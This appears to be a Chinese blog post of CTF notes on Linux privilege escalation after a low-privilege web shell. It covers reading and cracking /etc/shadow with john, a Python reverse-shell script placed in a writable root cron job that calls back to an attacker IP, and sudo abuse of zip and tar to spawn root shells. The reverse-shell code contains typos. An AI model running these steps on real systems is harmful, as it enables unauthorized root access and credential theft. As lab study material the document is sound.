zoukankan      html  css  js  c++  java
  • ctf-web-已获shell,通过路径遍历提权-思路笔记

    提权介绍

    • 往往我们能拿下服务器的web服务只是具有低权限用户(www-data),对于内网渗透,我们需要提权到root。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。
    • 提权前提:
      • 已经拿到低权shell
      • 被入侵的机器上面有nc,python,perl等linux非常常见的工具
      • 有权限上传文件和下载文件

    内核漏洞提权

    内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。

    1. 查看发行版本:cat /etc/issue     ;     cat /etc/*-release
    2. 查看内核版本:uname –aimage
    3. 找到系统版本号,通过kali的searchsploit查找该版本是否存在漏洞image
    4. 发现不存在内核溢出代码
    5. 假若存在内核溢出代码,可通过如下命令,上传内核溢出代码,编译执行image

    明文root提权-通过passwd和shadow破译密码

    大多linux系统的密码都和/etc/passwd和/etc/ shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

    例如破解linux用户名和对应的密码

    1. /etc/passwd /etc/shadow
    2. unshadow passwd shadow > cracked
    3. john cracked

    计划任务

    系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

    • 使用命令:cat /etc/crontab 回车查看计划任务

    默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell;如果定时执行的文件是py脚本,可以使用一下的脚本来替换之前的脚本;

    • 靶场代码
      #!/usr/bin/python
      import os,subprocess,socket
      s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
      s.connect((“攻击机IP地址”,”攻击机监听端口"))
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1)
      os.dup2(s.fileno(),2)
      p=subprocess.call([/bin/sh”,”-i1])
    • 攻击机启动nc监听端口:nc -nlvp port

    密码复用

    很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

    有了(疑似)) root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

    • python -c 'import pty;pty.spawn("/bin/sh")'
    • sudo
    • sudo –l
    • 尝试弱口令登陆失败
    • 继续探测敏感信息
    • 进入 cs /home,ls查看用户列表,发现zico用户,进入用户文件夹cd zico,查看文件夹内所有文件ls –alh,发现以下敏感信息image

    • 进入wordpress目录,查看wp配置文件,发现image

    • 尝试使用该用户登陆

    • 通过ssh登陆,成功登陆image

    • 使用sudo-l查看当前用户可以使用root提权的命令信息;image

    • 利用zip进行提权

      • -- touch exploit     新建exploit文件
      • -- sudo -u root zip exploit.zip exploit  -T  -unzip  -command="sh -c /bin/bash”  
    • 利用tar进行提权

      • -- sudo  -u root tar cf   /dev/null exploit  -checkpoint=1  --checkpoint   -action="/bin/bash"
  • 相关阅读:
    K近邻法
    决策树
    朴素贝叶斯
    Git学习笔记
    【原】maven web项目eclipse搭建
    三道面试题
    72-74 流的考点
    57-71 容器考点
    四 java web考点
    五 数据库考点
  • 原文地址:https://www.cnblogs.com/zw7889/p/13597279.html
Copyright © 2011-2022 走看看